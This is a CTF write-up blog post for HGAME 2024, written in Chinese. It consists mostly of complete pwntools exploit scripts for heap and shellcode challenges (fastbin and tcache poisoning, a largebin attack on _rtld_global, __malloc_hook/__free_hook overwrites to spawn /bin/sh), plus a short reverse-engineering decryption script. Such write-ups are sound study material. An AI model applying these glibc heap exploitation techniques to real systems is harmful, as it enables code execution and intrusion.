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comp - 2024hgame-wp

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谁除夕和情人节还在加班写 wp 啊😭2024要脱离 game 级别！

目录

Week1

week1 在做项目，把这事给忘了，做 week2 的时候为了找灵感做了一下 week1 的 ezshellcode

Pwn

ezshellcode

alphanumeric shellcode

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from pwn import *
from ae64 import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:30657'.split(':')
file = './vuln'

io = remote(ip[0],int(ip[1]))
# io = process(file)

elf = ELF('./vuln')
# ---------------------------------------------------------------------
io.sendlineafter('input the length of your shellcode:',str(-1))

payload = asm(shellcraft.sh())
payload = AE64().encode(payload,'rax',0,'small')
print(payload.decode('latin-1'))
io.sendafter('input your shellcode:',payload)

io.interactive()

Week2

Pwn - AK

fastnote

libc-2.31，填满 tcachebin 的 unsortedbin leak + fastbin attack

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from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '47.102.130.35:31898'.split(':')
file = './vuln'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
  io.sendlineafter('Your choice:', str(1))
  io.sendlineafter('Index: ', str(Index))
  io.sendlineafter('Size: ', str(size))
  io.sendlineafter('Content: ', content)

  
def show(Index):
  io.sendlineafter('Your choice:', str(2))
  io.sendlineafter('Index: ', str(Index))

  
def free(Index):
  io.sendlineafter('Your choice:', str(3))
  io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
payload = 'A'*4
for i in range(8):
    alloc(i,0x80,payload) # chunk0-6 tcachebin, chunk7: unsortedbin

alloc(8,0x10,payload) # 防annex

for i in range(8):
   free(i)

for i in range(7):
    alloc(i,0x80,payload) # chunk0-6 tcachebin

payload = 'A'*7
alloc(7,0x08,payload) # 因为 read 函数貌似会把 chunk 内部用 '\x00' 填满，所以只申请0x08，可以留下 bk 里的信息

show(7)
main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x80 - 0x60
main_arena_offset = libc.sym["__malloc_hook"] + 0x10
libc_base = main_arena - main_arena_offset
print("main_arena   --->   ",hex(main_arena))
print("main_arena_offset   --->   ",hex(main_arena_offset))
print("libc_base    --->   ",hex(libc_base))

alloc(0,0x60,payload) # 申请 unsortedbin 里面的 chunk，便于后面 alloc

# gdb.attach(io)

payload = 'a'*8
for i in range(9):
  alloc(i,0x10,payload) # chunk0-6:"7 tcachebin chunks"  || chunk7,8:"fastbin chunk"

for i in range(9):
  free(i) # free(0-6) free(7,8)

free(7)

# gdb.attach(io) # state1

for i in range(7):
  alloc(i,0x10,payload) # chunk0-6: 清空tcachebin

malloc_addr = libc_base + libc.sym['__malloc_hook']
print("malloc_addr    --->   ",hex(malloc_addr))
payload = p64(malloc_addr)
alloc(7,0x10,payload) # chunk7: 劫持由fastbin生成的tcachebin链
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(7))
io.sendlineafter('Size: ', str(0x10))
io.sendafter('Content: ', payload)

alloc(8,0x10,payload) # chunk8: chunk8
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(libc_base + one_gadget[1])
alloc(9,0x10,payload) # chunk9: Any Address

# gdb.attach(io)

# alloc(10,0x10,payload) # getshell
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(10))
io.sendlineafter('Size: ', str(0x10))

# gdb.attach(io)

io.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

old_fastnote

libc-2.23，unsortedbin leak + fastbin attack，注意 fastbin chunk 的 size 域构造

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from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:32449'.split(':')
file = './vuln'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./vuln')
libc = ELF('./libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
  io.sendlineafter('Your choice:', str(1))
  io.sendlineafter('Index: ', str(Index))
  io.sendlineafter('Size: ', str(size))
  io.sendlineafter('Content: ', content)

  
def show(Index):
  io.sendlineafter('Your choice:', str(2))
  io.sendlineafter('Index: ', str(Index))

  
def free(Index):
  io.sendlineafter('Your choice:', str(3))
  io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
payload = 'A'*4
for i in range(1):
    alloc(i,0x80,payload) # chunk0: unsortedbin

alloc(1,0x10,payload) # chunk1 防annex

for i in range(1):
   free(i)

payload = 'A'*7
alloc(0,0x08,payload) # 因为 read 函数貌似会把 chunk 内部用 '\x00' 填满，所以只申请0x08，可以留下 bk 里的信息

show(0)
main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x80 - 88
main_arena_offset = libc.sym["__malloc_hook"] + 0x10
libc_base = main_arena - main_arena_offset
print("main_arena   --->   ",hex(main_arena))
print("main_arena_offset   --->   ",hex(main_arena_offset))
print("libc_base    --->   ",hex(libc_base))

# gdb.attach(io)

alloc(0,0x60,payload) # 申请 unsortedbin 里面的 chunk，便于后面 alloc

# gdb.attach(io)

payload = 'a'*8
for i in range(2):
  alloc(i,0x60,payload) # chunk0,1:"fastbin chunk"

for i in range(2):
  free(i) # free(0,1)

free(0)

# gdb.attach(io) # state1

malloc_addr = libc_base + libc.sym['__malloc_hook'] - 0xb - 0x18
print("malloc_addr    --->   ",hex(malloc_addr))
payload = p64(malloc_addr)

io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(7))
io.sendlineafter('Size: ', str(0x60))
io.sendafter('Content: ', payload)

alloc(8,0x60,payload) # chunk8: chunk8
alloc(9,0x60,payload) # chunk9: Any Address

# gdb.attach(io)

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
payload = p64(libc_base + one_gadget[3])
payload = b'\x00'*19 + payload
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(10))
io.sendlineafter('Size: ', str(0x60))
io.sendafter('Content: ', payload)

io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(10))
io.sendlineafter('Size: ', str(0x60))

# gdb.attach(io)

io.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

eldenRing2

必须 patch 才能运行 vuln，用给的 libc.so.6 测试出来是 libc-2.31。

做法跟 fastnote 一样，填满 tcachebin 的unsortedbin leak + fastbin attack

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from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:32672'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# ---------------------------------------------------------------------
def alloc(Index,size):
  io.sendlineafter('>', str(1)) 
  io.sendlineafter('Index: ', str(Index)) # 最多16个idx，不能重复使用
  io.sendlineafter('Size: ', str(size))   # 最大0xFF -> 0x100
  
def free(Index):
  io.sendlineafter('>', str(2))
  io.sendlineafter('Index: ', str(Index)) # 可以 UAF
  
def edit(Index,content):
  io.sendlineafter('>', str(3))
  io.sendlineafter('Index: ', str(Index))
  io.sendlineafter('Content: ', content)

def show(Index):
  io.sendlineafter('>', str(4))
  io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
for i in range(8):
  alloc(i,0x80)        # chunk0-6: tcachebin; chunk7: unsortedbin

alloc(8,0x10)          # chunk8: 防 annex

for i in range(8):
  free(i)

show(7)
main_arena = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x60
print('main_arena       --->   ',hex(main_arena))
libc_base = main_arena - 0x1ECB80
print('libc_base        --->   ',hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
print('__malloc_hook    --->   ',hex(__malloc_hook))


payload = p64(__malloc_hook)
edit(6,payload)

gdb.attach(io)

alloc(9,0x80)

gdb.attach(io)

alloc(10,0x80)

gdb.attach(io)

one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(len(one_gadget)):
  one_gadget[i] += libc_base

payload = p64(one_gadget[1])
io.sendlineafter('>', str(3))
io.sendlineafter('Index: ', str(10))
io.sendafter('Content: ', payload)


io.sendlineafter('>', str(1)) 
io.sendlineafter('Index: ', str(11)) 
io.sendlineafter('Size: ', str(0x10))   

# gdb.attach(io)

io.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

ShellcodeMaster

这题卡了最久…观察程序 context 然后研究怎么压缩 shellcode，整了老半天

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from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:31224'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)

# elf = ELF('./vuln')
# ---------------------------------------------------------------------
code = '''
xor eax, eax
cdq
mov al, 10
xchg rdi, r15
mov dl, 7
syscall
xor eax, eax
xchg esi, edi
xor edi, edi
xchg edx, ebx
syscall
'''
shellcode1 = '''
mov rdi,0x2333008
xor esi,esi
mov rax,2
syscall
xor edx,edx
mov rdi,3
mov rdx,0x50
mov esi,0x2333100
mov rax,0
syscall
mov rdi,1
mov rdx,0x50
mov esi,0x2333100
mov rax,1
syscall
'''
payload1 = asm(shellcode1)

shellcode=asm(code)
print(len(shellcode))
payload = b'\x90'*(len(shellcode)-14) + b'flag\x00\x00\x00\x00' + b'\x90'*8 + payload1

# gdb.attach(io,'n 27')

io.sendafter('bytes shellcode\n\n',shellcode)

io.send(payload)

io.interactive()

Rev - 2/4

ezcpp

这题读 cpp 的部分相当简单，核心加密部分用的 Tea，不过魔改了加密的 block，只加密了前12bytes，还魔改了加密前 8bytes 时的 delta.

babyre

多线程处理，不过每一次加密都是原子的，idx是全局变量，等前一个thread释放以后下一个thread才能处理，所以数组每一个元素都被加密一次，整个程序使用类似于 ECB 的方式加密。

所以我们可以用最后一位也就是藏在 flag 后面的的 flag[33] 来一位一位的向前解密

但这题比较恶心的点就是，触发 SIGFPE 会flag[33]++，在加密flag[32]也就是}这个字符时有一定的变化

其次，触发 SIGFPE 还会让 ‘feifei’ 这个 key 再被 xor 0x11 一轮，所以中间的 key 值会更改好几次，我们还没办法具体预测哪里触发了 SIGFPE 。

但根据 flag 的前几位为hgame{，我们可以用 try-except 来从前向后解密，如果发现出现的字符不对，或者抛出异常，我们就可以确定原程序这里触发了 SIGFPE，我们就自行对 key 值 xor，这样到最后也不用管 flag[33] 了

python 处理可能会溢出的数据一定要记得 & 0x..FF 取低位字节

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encflag = [0x00002F14, 0x0000004E, 0x00004FF3, 0x0000006D, 0x000032D8, 0x0000006D, 0x00006B4B, 0xFFFFFF92, 0x0000264F, 0x0000005B, 0x000052FB, 0xFFFFFF9C, 0x00002B71, 0x00000014, 0x00002A6F, 0xFFFFFF95, 0x000028FA, 0x0000001D, 0x00002989, 0xFFFFFF9B, 0x000028B4, 0x0000004E, 0x00004506, 0xFFFFFFDA, 0x0000177B, 0xFFFFFFFC, 0x000040CE, 0x0000007D, 0x000029E3, 0x0000000F, 0x00001F11, 0x000000FF,0xFa]
flag = 'hgame{yo23412341234123412341234}'
key = list('wtxwtx')
flag = list(flag)

for i in range(len(flag)):
    flag[i] = ord(flag[i])

for i in range(len(key)):
    key[i] = ord(key[i])

for i in range(6):
    print(chr(flag[i]),end='')

exc = [8,11,14,17,20,23,26,29] # 观察规律可知 exception_point = [x for x in range(8,30,3)]

for i in range(5,30):
    if i in exc:
        for j in range(6):
            key[j] = key[j] ^ 0x11
    if i % 4 == 0:
        flag[i+1] = (encflag[i] - flag[i]) // key[(i+1)%6]
        print(chr(flag[i+1]),end='')
    elif i % 4 == 1:
        flag[i+1] = ((flag[i] - encflag[i]) & 0xFFFFFFFF) ^ key[(i+1)%6]
        print(chr(flag[i+1]),end='')
    elif i % 4 == 2:
        flag[i+1] = (encflag[i] // flag[i]) - key[(i+1)%6]
        print(chr(flag[i+1]),end='')
    elif i % 4 == 3:
        flag[i+1] = ((flag[i] ^ encflag[i]) + key[(i+1)%6]) & 0xFFFFFFFF
        print(chr(flag[i+1]),end='')        

print(chr(flag[31]),end='')

Week3

Pwn - 一血

EldenRing3

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from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:30208'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
libc = ELF('./libc.so.6')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
  io.sendlineafter('>', str(1))
  io.sendlineafter('Index: ', str(Index))
  io.sendlineafter('Size: ', str(size))

def free(Index):
  io.sendlineafter('>', str(2))
  io.sendlineafter('Index: ', str(Index))
  
def edit(Index,content):
  io.sendlineafter('>', str(3))
  io.sendlineafter('Index: ', str(Index))
  io.sendafter('Content: ', content)

def show(Index):
  io.sendlineafter('>', str(4))
  io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------

# leak libc
payload = 'a'*8
alloc(0,0x500,payload)
alloc(1,0x500,payload) # avoid annexing
free(0)
payload = '\x01'
edit(0,payload)
show(0)

main_arena  = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x01 - 0x60
libc_base   = main_arena - (libc.sym['__malloc_hook'] + 0x10)
large_bin   = main_arena + 0x60 + 1072
rtld_global = libc_base + 0x21b040


payload = '\x00'
edit(0,payload)
free(1)

# leak heap
alloc(0,0x5f0,payload)
free(0)
alloc(1,0x500,payload)
alloc(2,0x500,payload)
alloc(3,0x5f0,payload)
free(3)
alloc(4,0x500,payload)
alloc(5,0x500,payload)

payload = b'\x00'*0x500 + p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x4f1)
edit(0,payload)
edit(3,payload)

free(2)
free(5)
show(2)

heap_base = u64(io.recvuntil('\x0A')[-6:-1].ljust(8,b'\x00')) << 12
print('heap_base    --->   ',hex(heap_base))

payload = b'\x00'*0x500 + p64(0) + p64(0x511) + p64(0) + p64(0)
edit(0,payload)
edit(3,payload)

free(1)
free(2)
free(4)
free(5)

# largebin attack

payload = '\x00'
alloc(0,0x528,payload)
alloc(1,0x508,payload)
alloc(2,0x518,payload)
alloc(3,0x500,payload)
free(0)
alloc(4,0x538,payload)
free(2)

print('rtld_global1    --->   ',hex(rtld_global))
rtld_global = libc_base + ELF('ld-linux-x86-64.so.2').sym['_rtld_global']
print('rtld_global2    --->   ',hex(rtld_global))

# gdb.attach(io,'n 280')

payload = p64(0)*3+p64(rtld_global - 0x31028 - 0x20)
edit(0,payload)
alloc(5,0x600,payload)

# gdb.attach(io,'n 280')

fake_rtld_global = heap_base + 0xcd0 + 0x10
one_gadget = [0xdf54c, 0xdf54f, 0xdf552]
for i in range(3):
  one_gadget[i] += libc_base

fake_rtld_global = heap_base + 0xcd0
payload  = p64(0)*3 + p64(fake_rtld_global)
payload  = payload.ljust(0x38,b'\x00')

payload += p64(fake_rtld_global + 0x58) + p64(0x8) + p64(one_gadget[0])
payload  = payload.ljust(0x100,b'\x00')

payload += p64(fake_rtld_global + 0x40) + p64(0)
payload += p64(fake_rtld_global + 0x48) # 0x128
payload  = payload.ljust(0x30c,b'\x00')
payload += p64(0x1c)
edit(2,payload)
edit(1,b'b'*0x500 + p64(0))
# ---------------------------------------------------------------------

# gdb.attach(io)
# gdb.attach(io,'n 279')

next_node = rtld_global - 0x31028
print('main_arena     --->   ',hex(main_arena))
print('libc_base      --->   ',hex(libc_base))
print('rtld_global    --->   ',hex(rtld_global))
print('next_node      --->   ',hex(next_node))
# print('set_context    --->   ',hex(set_context))
# print('ret            --->   ',hex(ret))
# print('pop_rdi        --->   ',hex(pop_rdi))
# print('binsh_addr     --->   ',hex(binsh_addr))
# print('system_addr    --->   ',hex(system_addr))

# pause()

io.sendline(str(5))
io.interactive()

'''
0xdf54c execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xdf54f execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xdf552 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

# loadfolder /mnt/e/EdgeDownload/libcTools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/.debug/.build-id

你满了,那我就漫出来了!

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from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '139.196.137.203:32320'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
libc = ELF('./libc-2.27.so')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
  io.sendlineafter('Your choice:', str(1))
  io.sendlineafter('Index: ', str(Index))
  io.sendlineafter('Size: ', str(size))
  io.sendafter('Content: ', content)

  
def show(Index):
  io.sendlineafter('Your choice:', str(2))
  io.sendlineafter('Index: ', str(Index))

  
def free(Index):
  io.sendlineafter('Your choice:', str(3))
  io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
payload = 'a'*0x17
alloc(0,0x88,payload) # 0 unsortedbin overlap
alloc(1,0x18,payload) # 1 tcachebin poisoning
alloc(2,0xf8,payload) # 2 trigger chunk

free(1)

# gdb.attach(io)

for i in range(7):
  alloc(i+3,0x88,payload) # 3-9 tcachebin 0x88

for i in range(7):
  free(i+3)

free(0) # chunk0 -> unsortedbin

payload = b'a'*0x10 + p64(0xb0)
alloc(1,0x18,payload)

for i in range(7):
  alloc(i+3,0xf8,payload) # 3-9 tcachebin 0xf8

for i in range(7):
  free(i+3)

free(2)

for i in range(7):
  alloc(i+3,0x80,payload)

alloc(15,0x80,payload)

show(1)

main_arena = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x60
libc_base = main_arena - (libc.sym['__malloc_hook']+0x10)
# malloc_hook = libc_base + libc.sym['__malloc_hook']
# one_gadget = [0x4f2a5, 0x4f302, 0x10a2fc]
# for i in range(len(one_gadget)):
#   one_gadget[i] += libc_base
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

for i in range(7):
  free(i+3)

free(15)

payload = b'\x00'*0x88 + p64(0x21) 
alloc(15,0xa0,payload)
free(1) # put chunk8 into tcachebin

for i in range(7):
  alloc(i+3,0xf0,payload) # 3-9 0x100 tcachebin

alloc(14,0xf0,payload)

for i in range(7): # 3-9 0x100 tcachebin
  free(i+3)

for i in range(7):
  alloc(i+3,0xa0,payload) # 3-9 0xb0 tcachebin

for i in range(7): # 3-9 0xb0 tcachebin
  free(i+3)

free(15)
free(14)

payload = b'\x00'*0x88 + p64(0x21) + p64(free_hook)

for i in range(7):
  alloc(i+3,0xa0,payload)

print('libc_base   --->   ',hex(libc_base))
print('free_hook   --->   ',hex(free_hook))
print('sys_addr   --->   ',hex(sys_addr))

alloc(15,0xa0,payload)
payload = '/bin/sh'
alloc(14,0x18,payload)
payload = p64(sys_addr)
alloc(13,0x18,payload)

free(14)

# gdb.attach(io)

io.interactive(pre="ls\n")

'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

Week4

Pwn

EldenRing Final

开学一直没时间打，比赛结束了复现一下这道题，只复现到了 leak stderr 的部分，后面的部分就只是 overlap + fastbin 打 malloc_hook

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# 查看结构体
p *(struct _IO_FILE*)_IO_2_1_stderr_
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from pwn import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '139.196.137.203:32320'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)

elf = ELF(file)
libc = ELF('./libc-2.23.so')
# ---------------------------------------------------------------------
def allocPage():
  io.sendlineafter('>\n', str(1))
# 生成两个相连的0x20大小的chunk
  
def deletePage(Index):
  io.sendlineafter('>\n', str(2))
  io.sendlineafter('which page?\n>\n', str(Index))
# free 掉第一个0x20大小的chunk

def allocNote(pageID,size,content):
  io.sendlineafter('>\n', str(3))
  io.sendlineafter(' attach to?\n>\n', str(pageID))
  io.sendlineafter('size:\n>\n', str(size))
  io.sendafter('content:\n>\n', content)  
# 生成一个size = 0x20的chunk，再生成一个size <= 0x100的chunk，这里有off-by-one

def deleteNote(pageID,noteID):
  io.sendlineafter('>\n', str(4))
  io.sendlineafter('which page_ID?\n>\n', str(pageID))
  io.sendlineafter('which note_ID would you like to delete?\n>\n', str(noteID))
# 先 free 掉 后生成的chunk，再 free 掉前生成的chunk


def dbg(is_dbg):
  if is_dbg:
    gdb.attach(io,gdbinit)
  else:
    gdb.attach(io)

def info(name,value):
  print('{}   --->   {}'.format(name, hex(value)))

gdbinit = '''
  b *0x400B69
  b *0x400B6E
  c
  record
  c
'''
# ---------------------------------------------------------------------

while True:
  try:
    io = process(file)
    # 归并不能write的chunk
    payload = 'a'*8
    allocNote(0,0x20,payload)
    allocNote(0,0x20,payload)
    allocNote(0,0x20,payload)
    allocNote(0,0x20,payload)
    allocNote(0,0x20,payload)
    deleteNote(0,1)
    deleteNote(0,2)
    deleteNote(0,3)
    deleteNote(0,4)
    
    # off-by-one leak stderr
    allocNote(0,0x18,b'6')
    allocNote(0,0xf8,b'7')
    allocNote(0,0x68,b'8')
    allocNote(0,0x68,b'9')
    allocNote(0,0x18,b'10')
    deleteNote(0,6)
    allocNote(0,0x18,b'a'*0x18 + b'\xe1')
    deleteNote(0,7)
    deleteNote(0,8)

    allocNote(0,0xd8,b'\xd8')
    allocNote(0,0x18,b'\x18')
    allocNote(0,0x18,b'\xdd\x45')
    deleteNote(0,13)
    allocNote(0,0x18,p64(0)*3+b'\x71')
    allocNote(0,0x68,b'\x68')
    payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x58'
    dbg(1)
    allocNote(0,0x68,payload)
    libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stderr_'] - 0x163
    info('libc_base',libc_base)
  except:
    io.close()
  else:
    break

one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
for i in range(4):
  one_gadget[i] = libc_base + one_gadget[i]
malloc_hook = libc_base + libc.sym['__malloc_hook']

io.interactive()
  
# 本题思想：
  # 1. 给结构体申请chunk时，通常会把能write的部分隔离开来，所以我们需要先通过fastbin，把“不能write的部分”放在一起
  # 2. 逆向比较复杂的堆题时，要把每个函数抽象成“对 heap 的操作”，方便理解
-------------文章就到这里啦！感谢您的阅读XD-------------